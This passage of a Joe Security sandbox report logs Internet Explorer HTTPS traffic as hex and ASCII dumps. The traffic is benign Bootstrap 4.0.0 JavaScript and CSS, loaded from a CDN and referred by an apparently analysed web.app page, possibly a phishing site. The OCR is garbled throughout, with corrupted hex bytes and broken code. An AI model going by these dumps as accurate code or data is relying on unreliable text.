2021-09-15 14:28:03 UTC 100 IN Data Raw: 65 6e 74 3d 3d 3d 74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 45 6¢ 65 6d 65 6e 74 2e 77 69 6e 64 6f 77 3f 64 3a 5f 2¢
69 3d 22 61 75 74 6f 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6d 65 74 68 6f 64 3f 6e 3a 74 68 69 73 2e 5f 63
6f 6e 66 69 67 2e 6d 65 74 68 6f 64 2c 73 3d 69 3d 3d 3d 5f 3f 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 54 6f 70 28 29
3a 30 3b 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 5f 74 61 72 67 65 74 73 3d 5b 5d 2c 74 68 69
73 2e 5f 73 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 28 29 2C
74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 74 68 69 73 2e 5f 73 65 6¢ 65 63 74 6f 72 29 29 2e 6d 61 70 28 66 75 6e 63
74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 72 3d 50 2e
Data Ascii: ent===this._scrollElement.window?d:_,i="auto"===this._config.method?n:this._config.method,s=i===_?
this._getScrollTop():0;this._offsets=[] this._targets=[],this._scrollHeight=this._getScrollHeight(),t.makeArray(t(this._
selector)).map(function(e){var n,r=P.

2021-09-15 14:28:03 UTC 102 IN Data Raw: 29 2e 68 65 69 67 68 74 7d 2c 67 2e 5f 70 72 6f 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20
74 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 54 6f 70 28 29 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73
65 74 2c 65 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 28 29 2c 6e 3d 74 68 69 73 2e 5f 63 6f 6e
66 69 67 2e 6f 66 66 73 65 74 2b 65 2d 74 68 69 73 2e 5f 67 65 74 4f 66 66 73 65 74 48 65 69 67 68 74 28 29 3b 69 66 28
74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 21 3d 3d 65 26 26 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 2c 74
3e 3d 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 74 61 72 67 65 74 73 5b 74 68 69 73 2e 5f 74 61 72 67 65 74 73 2e 6¢
65 6e 67 74 68 2d 31 5d 3b 74 68 69 73 2e 5f 61 63 74 69
Data Ascii: ).height},g._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=t
his._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!'==e &&this.refresh(),t>=n){var i=this._targets][this._t
argets.length-1];this._acti

2021-09-15 14:28:03 UTC 103 IN Data Raw: 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61
6d 65 64 20 22 27 2b 65 2b 27 22 27 29 3b 69 5b 65 5d 28 29 7d 7d 29 7d 2c 73 28 6f 2c 6e 75 6¢ 6¢ 2¢ 5b 7b 6b 65 79
3a 22 56 45 52 53 49 4f 4e 22 2¢ 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 30 2e 30 22 7d
7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6¢ 74 22 2 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20
61 7d 7d 5d 29 2c 6f 7d 28 29 3b 72 65 74 75 72 6e 20 74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 68 2e 4c 4f 41 44 5f 44 41
54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28
74 28 66 2e 44 41 54 41 5f 53 50 59 29 29 2c 6e 3d 65 2e 6¢ 65
Data Ascii: e])throw new TypeError('No method named "+e+"");i[e]()}})},s(o,null,[{key:"VERSION",get:function(){return"
4.0.0"},{key:"Default",get:function(){return a}}]),0}();return t(window).on(h.LOAD_DATA_API,function(){for(var e=t.make
Array(t(f. DATA_SPY)),n=e.le

2021-09-15 14:28:03 UTC 104 IN Data Raw: 29 2e 74 72 69 67 67 65 72 28 75 29 2¢ 21 75 2e 69 73 44 65 66 61 75 6¢ 74 50 72 65 76 65 6e 74 65 64 28 29
2626 21 63 2e 69 73 44 65 66 61 75 6¢ 74 50 72 65 76 65 6 74 65 64 28 29 29 7b 6f 26 26 28 6e 3d 74 28 6f 29 5b 30
5d 29 2c 74 68 69 73 2e 5f 61 63 74 69 76 61 74 65 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2c 73 29 3b 76 61 72 20 67
3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 2e 45 76 65 6e 74 28 72 2e 48 49 44 44 45 4e 2c 7h 72 65 6C
61 74 65 64 54 61 72 67 65 74 3a 65 2e 5f 65 6¢ 65 6d 65 6€ 74 7d 29 2¢ 73 3d 74 2e 45 76 65 6e 74 28 72 2e 53 48 4f 57
4e 2c 7b 72 65 6¢ 61 74 65 64 54 61 72 67 65 74 3a 69 7d 29 3b 74 28 69 29 2e 74 72 69 67 67 65 72 28 6e 29 2c 74 28 6
5 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 73 29
Data Ascii: ).trigger(u),!u.isDefaultPrevented()&&!c.isDefaultPrevented()){o&&(n=t(0)[0]),this._activate(this._element,s);var
g=function(){var n=t.Event(r.HIDDEN {relatedTarget:e._element}),s=t.Event(r. SHOWN {related Target:i});t(i).trigger(
n),t(e._element).trigger(s)

2021-09-15 14:28:03 UTC 106 IN Data Raw: 74 75 72 6e 20 74 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 72 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49
2c 67 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2c 76 2e 5f 6a 51 75
6572 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6¢ 6¢ 28 74 28 74 68 69 73 29 2c 22 73 68 6f 77 22 29 7d 29 2c 74 2e 66
6e 2e 74 61 62 3d 76 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 2e 74 61 62 2e 43 6f 6e 73 74
727563 74 6f 72 3d 76 2c 74 2e 66 6e 2e 74 61 62 2e 6e 6f 43 6f 6e 66 6¢ 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b
72 65 74 75 72 6e 20 74 2e 66 6e 2e 74 61 62 3d 69 2c 76 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2¢ 76 7
d 28 65 29 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22
Data Ascii: turn t(document).on(r.CLICK_DATA_API,g,function(e){e.preventDefault(),v._jQueryInterface.call(t(this),"show"
)}.t.fin.tab=v._jQueryInterface,t.fn.tab.Constructor=v,t.fn.tab.noConflict=function(){return t.fn.tab=i,v._jQueryInterface},v}(e);
Ifunction(®){if("

2021-09-15 14:28:03 UTC 106 IN Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0
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Session ID Source IP

3 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:03 UTC 20

2021-09-15 14:28:03 UTC 20

2021-09-15 14:28:03 UTC 21

2021-09-15 14:28:03 UTC 21

2021-09-15 14:28:03 UTC 23

2021-09-15 14:28:03 UTC 24

Copyright Joe Security LLC 2021

Source Port

49776

Direction

ouT

Destination IP Destination Port Process

104.18.10.207 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1

Accept: text/css, */*

Referer: https://ranko23.web.app/miajarantarankaran.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: maxcdn.bootstrapcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Sep 2021 14:28:03 GMT

Content-Type: text/css; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

CDN-PullZone: 252412

CDN-Uid: b1941f61-b576-4f40-80de-5677ach38f74
CDN-RequestCountryCode: DE

Access-Control-Allow-Origin: *

Cache-Control: public, max-age=31919000

Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT

CDN-CachedAt: 08/11/2021 06:00:03

CDN-EdgeStorageld: 756

CDN-RequestPullCode: 200

CDN-RequestPullSuccess: True

timing-allow-origin: *

cross-origin-resource-policy: cross-origin

X-Content-Type-Options: nosniff

CDN-Status: 200

CDN-ProxyVer: 1.0

CDN-Requestld: 047702813929d5d7e6a401fe18134a9b

CDN-Cache: HIT

CF-Cache-Status: HIT

Age: 1947299

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare

CF-RAY: 68f28a108c1f2c32-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 37 36 38 36 0d Oa 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73
3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32
3031 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32
303131 2d 323031382054 7769 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65
72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f
62 6¢ 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6¢ 75 65 3a 23 30 30
37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30

Data Ascii: 7686/*! * Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright
2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#0
07bff;--indigo:#6610

Data Raw: 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6¢ 6¢ 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a
23323861 37 34 35 3b 2d 2d 74 65 61 6¢ 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d
2d 77 68 69 74 65 3a 23 66 66 66 3b 2d 2d 67 72 61 79 3a 23 36 63 37 35 37 64 3b 2d 2d 67 72 61 79 2d 64 61 72 6b 3a
233334336134 303b2d2d 707269 6d61 7279 3a2330 30376266 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 3
663 37 3537 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b
2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6¢ 69
67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33

Data Ascii: ge:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997 ;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-
dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--dange
r:#dc3545;--light:#f8f9fa;--dark:#343

Data Raw: 74 6f 6d 3a 2e 35 72 65 6d 7d 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74
6f 6d 3a 31 72 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6¢ 2d 74 69 74 6¢ 65 5d 2¢ 61 62 62 72 5b 74
69 74 6¢ 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 3b 2d 77 65 62 6b 69 74
2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64
65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6¢ 70 3b 62
6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65
6d 3b 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 6e 6f 72 6d 61 6¢ 3b

Data Ascii: tom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title], abbr[title]{text-decoration:underline;-
webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bot
tom:1rem;font-style:normal;

Data Raw: 69 67 6e 3a 69 6e 68 65 72 69 74 7d 6¢ 61 62 65 6¢ 7b 64 69 73 70 6¢ 61 79 3a 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f
63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64
69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6¢ 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75
74 6¢ 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6¢ 6f 72 7d
62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6¢ 65 63 74 2 74 65 78 74 61 72 65 61 7b 6d 61
72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68
6572 69 74 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e

Data Ascii: ign:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px d
otted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-
size:inherit;line-height:in
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 25 IN Data Raw: 3a 6¢ 69 73 74 2d 69 74 65 6d 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 74 65 6d 70 6¢ 61 74 65 7b 64
69 73 70 6¢ 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6¢ 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74
61 6e 74 7d 2e 68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2¢ 68 34
2c 68 35 2¢ 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 69
6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b
63 6f 6¢ 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68
32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e
Data Ascii: :list-item;cursor:pointer}template{display:none}[hidden]{display:nonel!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h
2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5
rem}.h2,h2{font-size:2rem}.

2021-09-15 14:28:03 UTC 27 IN Data Raw: 73 70 6¢ 61 79 3a 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 7d 2e 66 69 67 75 72 65 2d 69 6d 67 7b 6d 61 72 67 69
6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 66 69 67 75 72 65 2d 63 61 70
74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 30 25 3b 63 6f 6¢ 6f 72 3a 23 36 63 37 35 37 64 7d 63 6f 64 65 2c 6b 62
64 2c 70 72 65 2¢ 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6¢ 61 72 2¢ 4d 65
6e 6¢ 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6¢ 61 73 2¢ 22 4¢ 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2¢ 22 43 6f
75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35
25 3b 63 6f 6¢ 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f
Data Ascii: splay:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d
}code,kbd, pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}
code{font-size:87.5%;color:#e83e8c;wo

2021-09-15 14:28:03 UTC 28 IN Data Raw: 31 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 31 30 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 31 31 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 31 32 2c 2e 63
6f 6¢ 2d 6¢ 67 2d 32 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 33 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 34 2¢ 2e 63 6f 6¢ 2d 6¢ 67 2d 35 2¢ 2e 63 6f
6c 2d 6¢ 67 2d 36 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 37 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 38 2c 2e 63 6f 6¢ 2d 6¢ 67 2d 39 2¢ 2e 63 6f
6c 2d 6¢ 67 2d 61 75 74 6f 2c 2e 63 6f 6¢ 2d 6d 64 2c 2e 63 6f 6¢ 2d 6d 64 2d 31 2c 2e 63 6f 6¢ 2d 6d 64 2d 31 30 2c 2e
63 6f 6¢ 2d 6d 64 2d 31 31 2c 2e 63 6f 6¢ 2d 6d 64 2d 31 32 2c 2e 63 6f 6¢ 2d 6d 64 2d 32 2c 2e 63 6f 6¢ 2d 6d 64 2d 33
2c 2e 63 6f 6¢ 2d 6d 64 2d 34 2c 2e 63 6f 6¢ 2d 6d 64 2d 35 2¢ 2e 63 6f 6¢ 2d 6d 64 2d 36 2¢ 2e 63 6f 6¢ 2d 6d 64 2d 37
2c 2e 63 6f 6¢ 2d 6d 64 2d 38 2c 2e 63 6f 6¢ 2d 6d
Data Ascii: 1,.col-Ig-10,.col-lg-11,.col-Ig-12,.col-lg-2,.col-lg-3,.col-Ig-4,.col-lg-5,.col-Ig-6,.col-lg-7,.col-lg-8,.col-Ig-9,.col-lg-auto
.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8
,.col-m

2021-09-15 14:28:03 UTC 29 IN Data Raw: 66 6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66 6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33
3333253b 6d 6178 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6¢ 2d 38 7b 2d 77 65 62 6b 69 74
2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6¢ 65
78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e
63 6f 6¢ 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 37 35
25 3b 66 6¢ 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6¢ 2d 31 30 7b 2d 77
65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢
Data Ascii: flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0
66.666667%:;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-
width:75%}.col-10{-webkit-box-flex:0;-ms-fl

2021-09-15 14:28:03 UTC 31 IN Data Raw: 2e 6f 72 64 65 72 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a
3133 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 31 7b
6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d
6c 65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 32
35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66
7365 74 2d 35 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6
d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65
Data Ascii: .order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{
margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666 66 7%}.offs
et-6{margin-left:50%}.offse

2021-09-15 14:28:03 UTC 32 IN Data Raw: 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 37 35 25 3b 66 6¢ 65 78 3a 30 20 30 20 37 35 25 3b 6d 61
78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6¢ 2d 73 6d 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6C 65 78 3a
30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6¢ 65 78 3a 30 20 30 20 38 33 2e 33
3333333333253b6d61782d 7769 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6¢ 2d 73 6d 2d 31 31 7b
2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 3
637 25 3b 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36
36 36 36 37 25 7d 2e 63 6f 6¢ 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69
Data Ascii: x:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0
0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-
width:91.666667%}.col-sm-12{-webki

2021-09-15 14:28:03 UTC 33 IN Data Raw: 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 31 36 2e
36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 33 7b 6d 61 72 67 69 6€ 2d 6¢ 65 66 74 3a 32 35 25 7d 2e 6f 66
66 73 65 74 2d 73 6d 2d 34 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65
74 2d 73 6d 2d 35 7b 6d 61 72 67 69 6 2d 6¢ 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 73
6d 2d 36 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 37 7b 6d 61 72 67 69 6e 2
d 6¢ 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 38 7b 6d 61 72 67 69 6e 2d 6¢ 65 66
74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 73
Data Ascii: 333333%)}.0offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:
33.333333%}.offset-sm-5{margin-left:41.66666 7%:}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333
%}.offset-sm-8{margin-left:66.666667%}.offset-s

2021-09-15 14:28:03 UTC 35 IN Data Raw: 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 38 33 2e 33
33333333 33253b 66 6c 6578 3a 3020 30 20 38 33 2e 33 33333333 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33
2e 3333 3333333325 7d 2e 63 6f 6¢c 2d 6d 64 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d
6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36
36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6¢ 2d 6d 64 2d 31 32 7b 2d 77 65 6
26b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6¢ 65 78 3a 30
20 302031303025 3b6d61782d 776964 7468 3a 31 30 30 25
Data Ascii: -webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-webkit-
box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0
0 100%;flex:0 0 100%;max-width:100%

Copyright Joe Security LLC 2021 Page 28 of 51



kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 36 IN Data Raw: 72 67 69 6e 2d 6¢ 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 34 7b 6d 61 72 67 69 6e 2d 6¢ 65
66 74 3a 33 33 2e 33 33 33 33 3333 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 35 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a
34 31 2e 36 36 36 36 36 37 25 7d 2e 6 66 66 73 65 74 2d 6d 64 2d 36 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 35 30 25
